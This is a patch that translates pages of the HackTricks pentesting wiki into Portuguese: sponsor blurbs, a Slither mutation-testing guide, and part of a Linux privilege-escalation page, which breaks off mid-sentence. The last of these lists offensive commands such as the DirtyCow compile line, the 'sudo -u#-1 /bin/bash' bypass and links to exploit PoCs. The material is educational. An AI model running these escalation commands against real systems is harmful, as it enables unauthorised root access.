From c052719ce43c39a89f0203cb5d091a6860f0c13d Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 12:04:40 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/vmware-e --- src/README.md | 80 +-- src/SUMMARY.md | 2 +- .../mutation-testing-with-slither.md | 72 +-- .../privilege-escalation/README.md | 525 +++++++++--------- .../socket-command-injection.md | 26 +- ...ry-untrusted-search-path-cve-2025-41244.md | 86 +-- .../pentesting-web/ruby-tricks.md | 133 ++++- .../pentesting-web/vmware-esx-vcenter....md | 4 +- src/pentesting-web/file-inclusion/README.md | 270 ++++----- src/pentesting-web/race-condition.md | 161 +++--- src/welcome/hacktricks-values-and-faq.md | 104 ++-- theme/ai.js | 1 + theme/ht_searcher.js | 9 +- 13 files changed, 782 insertions(+), 691 deletions(-) diff --git a/src/README.md b/src/README.md index 45294b96d..694505628 100644 --- a/src/README.md +++ b/src/README.md @@ -2,9 +2,9 @@
-_Logotipos e motion design do Hacktricks por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ +_Logos e motion design do HackTricks por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ -### Executar o HackTricks localmente +### Executar HackTricks localmente ```bash # Download latest version of hacktricks git clone https://github.com/HackTricks-wiki/hacktricks @@ -39,11 +39,11 @@ Sua cópia local do HackTricks estará **disponível em [http://localhost:3337](
-[**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cibersegurança cujo slogan é **HACK THE UNHACKABLE**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cibersegurança** como pentesting, Red teams e treinamento. +[**STM Cyber**](https://www.stmcyber.com) é uma ótima empresa de cybersecurity cujo slogan é **HACK THE UNHACKABLE**. Eles realizam suas próprias pesquisas e desenvolvem suas próprias ferramentas de hacking para **oferecer vários serviços valiosos de cybersecurity** como pentesting, Red teams e treinamento. Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://blog.stmcyber.com) -**STM Cyber** também apoia projetos open source de cibersegurança como HackTricks :) +**STM Cyber** também apoia projetos de segurança open source como o HackTricks :) --- @@ -51,7 +51,7 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
-[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança de todas as disciplinas. +[**RootedCON**](https://www.rootedcon.com) é o evento de cybersecurity mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cybersecurity de todas as disciplinas. {{#ref}} https://www.rootedcon.com/ @@ -63,9 +63,9 @@ https://www.rootedcon.com/
-**Intigriti** é a **plataforma #1 da Europa** para ethical hacking e bug bounty. +**Intigriti** é a **plataforma #1 da Europa** de ethical hacking e bug bounty. -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar bounties de até **$100,000**! +**Bug bounty tip**: **inscreva-se** na **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje, e comece a ganhar recompensas de até **$100,000**! {{#ref}} https://go.intigriti.com/hacktricks @@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo. +Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar workflows** facilmente, impulsionados pelas ferramentas comunitárias mais **avançadas** do mundo. -Obtenha Acesso Hoje: +Obtenha acesso hoje: {{#ref}} https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks @@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bug bounty! +Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! -- **Hacking Insights:** Envolva-se com conteúdo que explora a emoção e os desafios do hacking -- **Real-Time Hack News:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real -- **Latest Announcements:** Fique informado sobre os novos bug bounties lançados e atualizações cruciais da plataforma +- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking +- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights +- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje! +**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! --- @@ -108,7 +108,7 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb **Obtenha a perspectiva de um hacker sobre suas web apps, rede e cloud** -**Encontre e reporte vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas customizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitam escalar privilégios e utilizar exploits automatizados para coletar evidências essenciais, transformando seu trabalho em relatórios persuasivos. +**Encontre e reporte vulnerabilidades críticas e exploráveis com impacto real no negócio.** Use nossas mais de 20 ferramentas customizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitam escalar privilégios, e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho em relatórios persuasivos. {{#ref}} https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -120,13 +120,13 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi** oferece APIs em tempo real rápidas e fáceis para **acessar resultados de motores de busca**. Eles fazem scraping dos motores de busca, cuidam de proxies, resolvem captchas e analisam todos os dados estruturados ricos para você. +**SerpApi** oferece APIs rápidas e fáceis em tempo real para **acessar resultados de motores de busca**. Eles fazem scraping dos motores de busca, gerenciam proxies, resolvem captchas e analisam todos os dados estruturados ricos para você. -Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para raspar diferentes motores de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\ -Ao contrário de outros provedores, **SerpApi não se limita a raspar resultados orgânicos**. As respostas da SerpApi incluem consistentemente todos os anúncios, imagens e vídeos inline, knowledge graphs e outros elementos e recursos presentes nos resultados de busca. +Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para scraping de diferentes motores de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\ +Ao contrário de outros provedores, **SerpApi não apenas faz scraping de resultados orgânicos**. As respostas da SerpApi consistentemente incluem todos os anúncios, imagens e vídeos inline, knowledge graphs e outros elementos e features presentes nos resultados de busca. -Clientes atuais da SerpApi incluem **Apple, Shopify, and GrubHub**.\ -Para mais informações, confira o [**blog**](https://serpapi.com/blog/)**,** ou experimente um exemplo no [**playground**](https://serpapi.com/playground)**.**\ +Clientes atuais da SerpApi incluem **Apple, Shopify e GrubHub**.\ +Para mais informações confira o blog deles [**aqui**](https://serpapi.com/blog/)**,** ou experimente um exemplo no [**playground**](https://serpapi.com/playground)**.**\ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sign_up)**.** --- @@ -135,7 +135,7 @@ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sig
-Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vulnerabilidades, penetration testing e engenharia reversa para proteger aplicações e dispositivos móveis. **Domine a segurança iOS e Android** através de nossos cursos on-demand e **obtenha certificação**: +Aprenda as tecnologias e habilidades necessárias para realizar pesquisa de vulnerabilidades, penetration testing e reverse engineering para proteger aplicações e dispositivos móveis. **Domine a segurança iOS e Android** através de nossos cursos on-demand e **obtenha certificação**: {{#ref}} https://academy.8ksec.io/ @@ -147,13 +147,13 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net) é uma empresa profissional de cibersegurança com sede em **Amsterdam** que ajuda a **proteger** empresas **em todo o mundo** contra as mais recentes ameaças de cibersegurança, fornecendo serviços de **offensive-security** com uma abordagem **moderna**. +[**WebSec**](https://websec.net) é uma empresa profissional de cybersecurity com sede em **Amsterdam** que ajuda a **proteger** empresas **ao redor do mundo** contra as mais recentes ameaças de cybersecurity, oferecendo **offensive-security services** com uma abordagem **moderna**. -WebSec é uma empresa internacional de segurança com escritórios em Amsterdam e Wyoming. Eles oferecem **serviços de segurança all-in-one**, o que significa que fazem de tudo; Pentesting, Security Audits, Awareness Trainings, Campanhas de Phishing, Code Review, Exploit Development, Security Experts Outsourcing e muito mais. +A WebSec é uma empresa internacional de segurança com escritórios em Amsterdam e Wyoming. Eles oferecem **serviços de segurança all-in-one**, o que significa que fazem tudo; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing e muito mais. -Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, conforme consta em seu site: "**If we can't hack it, You don't pay it!**". Para mais informações, veja o [**website**](https://websec.net/en/) e o [**blog**](https://websec.net/blog/)! +Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a tal ponto que eles **garantem os melhores resultados de qualidade**, conforme afirmam no site deles: "**If we can't hack it, You don't pay it!**". Para mais informações dê uma olhada no [**website**](https://websec.net/en/) e no [**blog**](https://websec.net/blog/)! -Além do acima, a WebSec também é uma **apoiante comprometida do HackTricks.** +Além do acima, a WebSec também é uma **apoiadora comprometida do HackTricks.** {{#ref}} https://www.youtube.com/watch?v=Zq2JycGDCPM @@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
venacus logo
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) é um mecanismo de busca de data breach (leak). \ -Oferecemos pesquisa por strings aleatórias (como google) sobre todos os tipos de data leaks, grandes e pequenos — não apenas os grandes — sobre dados de múltiplas fontes. \ -Pesquisa por pessoas, pesquisa por AI, pesquisa por organização, acesso API (OpenAPI), integração theHarvester, todas as features que um pentester precisa.\ -**HackTricks continua sendo uma ótima plataforma de aprendizado para todos nós e temos orgulho em patrociná-la!** +[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) é um data breach (leak) search engine. \ +Nós fornecemos busca por strings aleatórias (como o google) sobre todos os tipos de vazamentos de dados grandes e pequenos --não apenas os grandes-- sobre dados de múltiplas fontes. \ +Pesquisa por pessoas, pesquisa por AI, busca por organização, API (OpenAPI) access, integração com theHarvester, todas as features que um pentester precisa.\ +**HackTricks continua sendo uma ótima plataforma de aprendizado para todos nós e temos orgulho de patrociná-la!** {{#ref}} https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -182,11 +182,11 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons **Built for the field. Built around you.**\ -[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desenvolve e entrega treinamentos de cibersegurança eficazes, construídos e liderados por especialistas da indústria. Seus programas vão além da teoria para equipar equipes com entendimento profundo e habilidades acionáveis, usando ambientes personalizados que refletem ameaças do mundo real. Para consultas sobre treinamentos customizados, entre em contato [**aqui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). +[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desenvolve e entrega treinamentos de cybersecurity eficazes, construídos e liderados por especialistas da indústria. Seus programas vão além da teoria para equipar equipes com profundo entendimento e habilidades acionáveis, usando ambientes customizados que refletem ameaças do mundo real. Para consultas sobre treinamentos personalizados, entre em contato [**aqui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). -**O que diferencia os treinamentos deles:** +**O que diferencia o treinamento deles:** * Conteúdo e labs customizados -* Suportado por ferramentas e plataformas de alto nível +* Apoiado por ferramentas e plataformas de alto nível * Projetado e ensinado por praticantes {{#ref}} @@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
lasttower logo
-Last Tower Solutions fornece serviços especializados de cibersegurança para instituições de **Educação** e **FinTech**, com foco em **penetration testing, cloud security assessments**, e **preparação para conformidade** (SOC 2, PCI-DSS, NIST). Nossa equipe inclui profissionais certificados **OSCP and CISSP**, trazendo profundo conhecimento técnico e visão baseada em padrões do setor para cada engagement. +Last Tower Solutions oferece serviços especializados de cybersecurity para instituições de **Education** e **FinTech**, com foco em **penetration testing, cloud security assessments**, e **compliance readiness** (SOC 2, PCI-DSS, NIST). Nossa equipe inclui profissionais certificados **OSCP e CISSP**, trazendo profunda expertise técnica e visão baseada em padrões da indústria para cada engajamento. -Vamos além de scans automatizados com **testes manuais, orientados por inteligência**, adaptados a ambientes de alto risco. Desde proteger registros estudantis até proteger transações financeiras, ajudamos organizações a defender o que mais importa. +Nós vamos além de scans automatizados com **testes manuais orientados por inteligência** adaptados a ambientes de alto risco. Desde proteger registros estudantis até proteger transações financeiras, ajudamos organizações a defender o que mais importa. _“A quality defense requires knowing the offense, we provide security through understanding.”_ -Mantenha-se informado e atualizado com as últimas novidades em cibersegurança visitando nosso [**blog**](https://www.lasttowersolutions.com/blog). +Mantenha-se informado com o que há de mais recente em cybersecurity visitando o [**blog**](https://www.lasttowersolutions.com/blog). {{#ref}} https://www.lasttowersolutions.com/ @@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/ ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) -
k8studio logo
+
k8studio logo
-K8Studio IDE capacita DevOps, DevSecOps e desenvolvedores a gerenciar, monitorar e proteger clusters Kubernetes de forma eficiente. Aproveite nossos insights impulsionados por AI, framework de segurança avançado e a intuitiva CloudMaps GUI para visualizar seus clusters, entender seu estado e agir com confiança. +K8Studio IDE capacita DevOps, DevSecOps e desenvolvedores a gerenciar, monitorar e proteger clusters Kubernetes de forma eficiente. Aproveite nossos insights movidos a AI, framework avançado de segurança e a GUI CloudMaps intuitiva para visualizar seus clusters, entender seu estado e agir com confiança. -Além disso, o K8Studio é **compatível com todas as principais distribuições de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift e mais). +Além disso, o K8Studio é **compatível com todas as principais distribuições de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more). {{#ref}} https://k8studio.io/ @@ -228,7 +228,7 @@ https://k8studio.io/ --- -## Licença & Disclaimer +## License & Disclaimer Confira em: @@ -236,7 +236,7 @@ Confira em: welcome/hacktricks-values-and-faq.md {{#endref}} -## Estatísticas do Github +## Github Stats ![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6d276923d..561fe52fb 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -950,4 +950,4 @@ - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) -- [Cookies Policy](todo/cookies-policy.md) \ No newline at end of file +- [Cookies Policy](todo/cookies-policy.md) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index dcdad881d..3dbf0be1b 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,14 +1,14 @@ -# Mutation Testing para Solidity com Slither (slither-mutate) +# Teste de Mutação para Solidity com Slither (slither-mutate) {{#include ../../banners/hacktricks-training.md}} -Mutation testing "tests your tests" ao introduzir sistematicamente pequenas mudanças (mutantes) no seu código Solidity e reexecutar sua suíte de testes. Se um teste falhar, o mutante é morto. Se os testes ainda passam, o mutante sobrevive, revelando um ponto cego na sua suíte de testes que a cobertura de linha/ramificação não consegue detectar. +O teste de mutação "testa seus testes" ao introduzir sistematicamente pequenas mudanças (mutantes) no seu código Solidity e reexecutar sua suíte de testes. Se um teste falhar, o mutante é eliminado. Se os testes ainda passarem, o mutante sobrevive, revelando um ponto cego na sua suíte de testes que a cobertura de linha/ramo não consegue detectar. -Ideia-chave: a cobertura mostra que o código foi executado; mutation testing mostra se o comportamento está realmente sendo verificado. +Ideia-chave: a cobertura mostra que o código foi executado; o teste de mutação mostra se o comportamento foi realmente verificado. ## Por que a cobertura pode enganar -Considere esta verificação simples de limite: +Considere esta simples verificação de limite: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -18,24 +18,24 @@ return false; } } ``` -Testes unitários que verificam apenas um valor abaixo e um valor acima do limite podem alcançar 100% de cobertura de linhas/branches enquanto falham em afirmar a igualdade (==). Uma refatoração para `deposit >= 2 ether` ainda passaria nesses testes, quebrando silenciosamente a lógica do protocolo. +Testes unitários que verificam apenas um valor abaixo e um valor acima do limite podem alcançar 100% de cobertura de linhas/branches enquanto deixam de afirmar a condição de igualdade (==). Uma refatoração para `deposit >= 2 ether` ainda passaria esses testes, quebrando silenciosamente a lógica do protocolo. -O teste de mutação expõe essa falha ao mutar a condição e verificar se seus testes falham. +O teste de mutação expõe essa lacuna ao mutar a condição e verificar que seus testes falham. -## Operadores comuns de mutação em Solidity +## Operadores de mutação comuns em Solidity O mecanismo de mutação do Slither aplica muitas pequenas alterações que mudam a semântica, tais como: - Substituição de operador: `+` ↔ `-`, `*` ↔ `/`, etc. - Substituição de atribuição: `+=` → `=`, `-=` → `=` - Substituição de constantes: não-zero → `0`, `true` ↔ `false` -- Negação/substituição de condição dentro de `if`/laços -- Comentar linhas inteiras (CR: Comment Replacement) +- Negação/substituição de condição dentro de `if`/loops +- Comentar linhas inteiras (CR: Substituição de Comentário) - Substituir uma linha por `revert()` -- Trocas de tipo de dado: por exemplo, `int128` → `int64` +- Troca de tipos de dados: por exemplo, `int128` → `int64` -Objetivo: Eliminar 100% dos mutantes gerados, ou justificar os sobreviventes com uma justificativa clara. +Objetivo: Eliminar 100% dos mutantes gerados, ou justificar os sobreviventes com justificativa clara. -## Executando testes de mutação com slither-mutate +## Executando teste de mutação com slither-mutate Requisitos: Slither v0.10.2+. @@ -44,7 +44,7 @@ Requisitos: Slither v0.10.2+. slither-mutate --help slither-mutate --list-mutators ``` -- Foundry exemplo (capturar resultados e manter um log completo): +- Exemplo com Foundry (capturar os resultados e manter um log completo): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` @@ -54,58 +54,58 @@ Artefatos e relatórios são armazenados em `./mutation_campaign` por padrão. M ### Entendendo a saída -As linhas do relatório têm o seguinte formato: +As linhas do relatório se parecem com: ```text INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- A tag entre colchetes é o alias do mutator (e.g., `CR` = Comment Replacement). -- `UNCAUGHT` significa que os testes passaram sob o comportamento mutado → falta de asserção. +- A tag entre colchetes é o apelido do mutador (e.g., `CR` = Comment Replacement). +- `UNCAUGHT` significa que os testes passaram sob o comportamento mutado → asserção ausente. -## Reduzindo tempo de execução: priorize mutantes com impacto +## Reduzindo tempo de execução: priorize mutantes de impacto -Campanhas de mutação podem levar horas ou dias. Dicas para reduzir custo: +Campanhas de mutation testing podem levar horas ou dias. Dicas para reduzir custo: - Escopo: comece apenas com contratos/diretórios críticos e depois expanda. -- Priorize mutators: se um mutante de alta prioridade em uma linha sobreviver (e.g., a linha inteira comentada), você pode pular variantes de menor prioridade para essa linha. -- Paralelize os testes se seu runner permitir; faça cache de dependências/builds. -- Fail-fast: pare cedo quando uma mudança claramente demonstra uma lacuna de asserção. +- Priorize mutators: se um mutante de alta prioridade numa linha sobrevive (ex.: toda a linha comentada), você pode pular variantes de menor prioridade daquela linha. +- Paralelize testes se seu runner permitir; faça cache de dependências/builds. +- Fail-fast: pare cedo quando uma mudança demonstra claramente uma lacuna de asserção. ## Fluxo de triagem para mutantes sobreviventes 1) Inspecione a linha mutada e o comportamento. -- Reproduza localmente aplicando a linha mutada e executando um teste focado. +- Reproduza localmente aplicando a linha mutada e rodando um teste focado. -2) Fortaleça os testes para asserir o estado, não apenas valores de retorno. -- Adicione checagens de igualdade/limite (e.g., testar threshold `==`). -- Asserte pós-condições: saldos, fornecimento total, efeitos de autorização e eventos emitidos. +2) Fortaleça os testes para verificar estado, não apenas valores de retorno. +- Adicione checagens de igualdade/limite (por exemplo, testar threshold `==`). +- Asserte pós-condições: saldos, total supply, efeitos de autorização e eventos emitidos. 3) Substitua mocks excessivamente permissivos por comportamento realista. -- Assegure que os mocks imponham transferências, caminhos de falha e emissões de eventos que ocorrem on-chain. +- Garanta que mocks forcem transfers, caminhos de falha e emissão de eventos que ocorrem on-chain. 4) Adicione invariantes para fuzz tests. -- Ex.: conservação de valor, saldos não-negativos, invariantes de autorização, supply monotônico quando aplicável. +- Ex.: conservação de valor, saldos não-negativos, invariantes de autorização, monotonicidade do supply quando aplicável. -5) Reexecute slither-mutate até que os sobreviventes sejam eliminados ou justificados explicitamente. +5) Re-run slither-mutate até que os sobreviventes sejam eliminados ou justificados explicitamente. -## Estudo de caso: revelando asserções de estado ausentes (protocolo Arkis) +## Case study: revelando asserções de estado faltantes (Arkis protocol) -Uma campanha de mutação durante uma auditoria do protocolo Arkis DeFi revelou sobreviventes como: +Uma campanha de mutation durante uma auditoria do Arkis DeFi protocol revelou sobreviventes como: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -Comentar a atribuição não quebrou os testes, provando que faltavam asserções de pós-estado. Causa raiz: o código confiava em um `_cmd.value` controlado pelo usuário em vez de validar transferências reais de token. Um atacante poderia desincronizar as transferências esperadas e as reais para drenar fundos. Resultado: risco de alta gravidade para a solvência do protocolo. +Comentando a atribuição não quebrou os testes, comprovando a falta de asserções de pós-estado. Causa raiz: o código confiava em um `_cmd.value` controlado pelo usuário em vez de validar as transferências reais de token. Um atacante poderia dessincronizar as transferências esperadas das reais para drenar fundos. Resultado: risco de alta severidade para a solvência do protocolo. -Orientação: Considere mutantes sobreviventes que afetem transferências de valor, contabilidade ou controle de acesso como de alto risco até serem eliminados. +Orientação: Trate mutantes sobreviventes que afetam transferências de valor, contabilidade ou controle de acesso como alto risco até serem eliminados. -## Lista de verificação prática +## Checklist prático - Execute uma campanha direcionada: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- Faça triagem dos survivors e escreva testes/invariantes que falhariam sob o comportamento mutado. -- Verifique saldos, fornecimento (supply), autorizações e eventos. +- Faça a triagem dos mutantes sobreviventes e escreva testes/invariantes que falhem sob o comportamento mutado. +- Asserte saldos, supply, autorizações, e eventos. - Adicione testes de borda (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). - Substitua mocks irreais; simule modos de falha. -- Itere até que todos os mutantes sejam eliminados ou justificados com comentários e rationale. +- Itere até que todos os mutantes sejam eliminados ou justificados com comentários e justificativa. ## Referências diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 606bba75d..c0b52605c 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,4 +1,4 @@ -# Linux Privilege Escalation +# Elevação de Privilégios no Linux {{#include ../../banners/hacktricks-training.md}} @@ -14,13 +14,13 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`** pode conseguir sequestrar algumas bibliotecas ou binários: +Se você **tem permissões de escrita em qualquer diretório dentro da variável `PATH`** pode ser capaz de hijack some libraries or binaries: ```bash echo $PATH ``` -### Env info +### Informações do ambiente -Informações interessantes, senhas ou API keys nas variáveis de ambiente? +Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ```bash (env || set) 2>/dev/null ``` @@ -43,9 +43,9 @@ Ferramentas que podem ajudar a procurar por exploits do kernel são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute NA vítima, somente verifica exploits para kernel 2.x) -Sempre **pesquise a versão do kernel no Google**, talvez sua versão do kernel esteja mencionada em algum kernel exploit e assim você terá certeza de que esse exploit é válido. +Sempre **pesquise a versão do kernel no Google**, talvez a versão do seu kernel esteja escrita em algum exploit do kernel e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Versão do Sudo +### Sudo versão Com base nas versões vulneráveis do sudo que aparecem em: ```bash @@ -73,9 +73,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Falha na verificação de assinatura do Dmesg +### Dmesg signature verification failed -Verifique **smasher2 box of HTB** para um **exemplo** de como essa vuln poderia ser explorada +Consulte **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,16 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você estiver dentro de um docker container você pode tentar escapar dele: +Se você estiver dentro de um docker container, pode tentar escapar dele: {{#ref}} docker-security/ {{#endref}} -## Drives +## Discos -Verifique **o que está montado e desmontado**, onde e por quê. Se algo estiver desmontado você pode tentar montá-lo e verificar por informações privadas +Verifique **o que está montado e o que não está montado**, onde e por quê. Se algo não estiver montado, você pode tentar montá-lo e verificar se há informações privadas. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,21 +145,21 @@ Enumerar binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante) +Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma similar) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software Vulnerável Instalado -Verifique a **versão dos pacotes e serviços instalados**. Talvez haja alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalar privilégios…\ +Verifique a **versão dos pacotes e serviços instalados**. Talvez exista alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalating privileges…\ Recomenda-se verificar manualmente a versão dos softwares instalados mais suspeitos. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar software desatualizado e vulnerável instalado na máquina. +Se tiver acesso SSH à máquina, você também pode usar **openVAS** para verificar se há software desatualizado ou vulnerável instalado na máquina. -> [!NOTE] > _Observe que esses comandos mostrarão muita informação que, na maior parte, será inútil; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a explorações conhecidas_ +> [!NOTE] > _Observe que esses comandos mostrarão muita informação que, na maior parte, será inútil; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ ## Processos @@ -169,32 +169,32 @@ ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Sempre verifique possíveis [**electron/cef/chromium debuggers** em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ +Também **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever algum. -### Process monitoring +### Monitoramento de processos -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados frequentemente ou quando um conjunto de requisitos é 